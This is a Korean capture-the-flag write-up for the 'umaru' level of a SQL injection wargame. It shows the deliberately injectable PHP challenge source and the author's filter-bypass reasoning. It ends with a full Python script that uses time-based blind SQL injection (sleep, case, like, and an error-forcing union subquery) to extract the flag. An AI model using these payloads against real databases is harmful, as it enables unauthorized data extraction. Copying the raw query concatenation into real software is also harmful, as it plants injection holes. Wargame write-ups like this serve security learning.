<?php
include "./config.php";
login_chk();
dbconnect();
function reset_flag(){
$new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);
$chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));
if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");
else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");
echo "reset ok";
highlight_file(__FILE__);
exit();
}
if(!$_GET[flag]){ highlight_file(__FILE__); exit; }
if(preg_match('/prob|_|\./i', $_GET[flag])) exit("No Hack ~_~");
if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe");
if(strlen($_GET[flag])>100) exit("HeHe");
$realflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru where id='{$_SESSION[los_id]}'"));
@mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'");
@mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");
$tempflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru_temp"));
if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();
if($realflag[flag] === $_GET[flag]) solve("umaru");
?>
id where order limit, 뭐 쓸수있는게 없고 100자 넘어도 안된다
살살하다가 갑자기 살벌하게 튀어 나온 느낌이라 문제보고 좀 벙쪘는데 힘내서...
보면 reset_flag 가 실행되면 무조건 플래그가 리셋되는데 이걸 막아야된다.
reset_flag가 실행되는 시점은 단 한군데 뿐인데, 이 친구를 저지할 수 있는 시점이라고 하면 update prob_umaru... 밖에 없다. 여기서 고의로 에러를 발생시켜줘야한다. (소스상 처리가 되지 않은 PHP는 에러가 나면 반드시 죽기 때문이다)
그래서 flag에 처음엔 빈값을 넣음과 동시에 @t:=flag를 이용해 강제로 업데이트치고 패스해볼까 했는데 , 가 필터링되고 있었다. 하..
에러도 내면서 참일땐 비교도 해야 된다니 어려운일이 아닐 수가 없다. 일단 select 가 아닌 update에서의 sqli 이기 때문에 sleep 을 사용해야 되는건 맞는것 같고, 어떻게 if를 bypass할지 검색해보다가 그냥 실행만 되면 된다는거 같다. 그래서 사용을 xor 연산을 의미하는 ^ 를 사용하는데, 사실 다른 연산자는 안찾아봤지만 아마 시프트 연산도 가능할 것 같단 생각이다 "<<" 라던지..
우선 페이로드를 다 작성했는데 정말 16자리에서 끊어지는지 아닌지 확인하기 위해 다음과 같이 쿼리를 짰다
for j in range(1,200):
start_time = time.time()
data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
data = requests.utils.quote(data)
#print data
r = requests.get(url+'?flag='+data,headers=headers)
times = time.time() - start_time
print j, times
if times > 20:
loop = j
break
print loop
16에서 정확히 멈춘다. (네트워크가 불안해서 자꾸 이상한 값이 나와서 아예 큰 값을 줘버렸는데 적당히 판단들 하시길..)
이 코드를 조금만 수정해서 이제 페이로드를 따는데 진짜 골때리는 일이 벌어졌다
9자리쯤 캐치를 했는데 글쎄 100자리 제한에 걸리는것이다. 즉, like 로 비교를 걸었더니 플래그에 들어갈 string도 length 체크 대상에 들어가는것이다. 다시 말하면, payload를 16자를 뺀 83~4자안에서 끝내야 된다는것이다.... 아뿔싸가 아닐 수 없다. 어느 부분을 줄여야 하나... 8자 정도만 더 줄이면 되는데! 라고 적어놓고 보니 일일히 ' 를 해놨길래 다 뺐다. 아마 거의 자리수를 끝까지 이용하는 payload가 아닐까 싶다..
#!/usr/bin/env python
# -*- coding: utf8 -*-
import requests, time
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/umaru_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
loop = 0
pw = ''
for j in range(1,200):
start_time = time.time()
data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
data = requests.utils.quote(data)
#print data
r = requests.get(url+'?flag='+data,headers=headers)
times = time.time() - start_time
print j, times
if times > 20:
loop = j
break
print loop
for i in range(1,loop+1):
for j in string:
start_time = time.time()
data = "(select sleep(case when flag like '{}{}%' then 2 else 0 END)^(select 1 union select 2))".format(pw,j)
data = requests.utils.quote(data)
#print data
r = requests.get(url+'?flag='+data,headers=headers)
times = time.time() - start_time
print j, times
if times > 2:
pw = pw + str(j)
print "[!] found",pw
break
print pw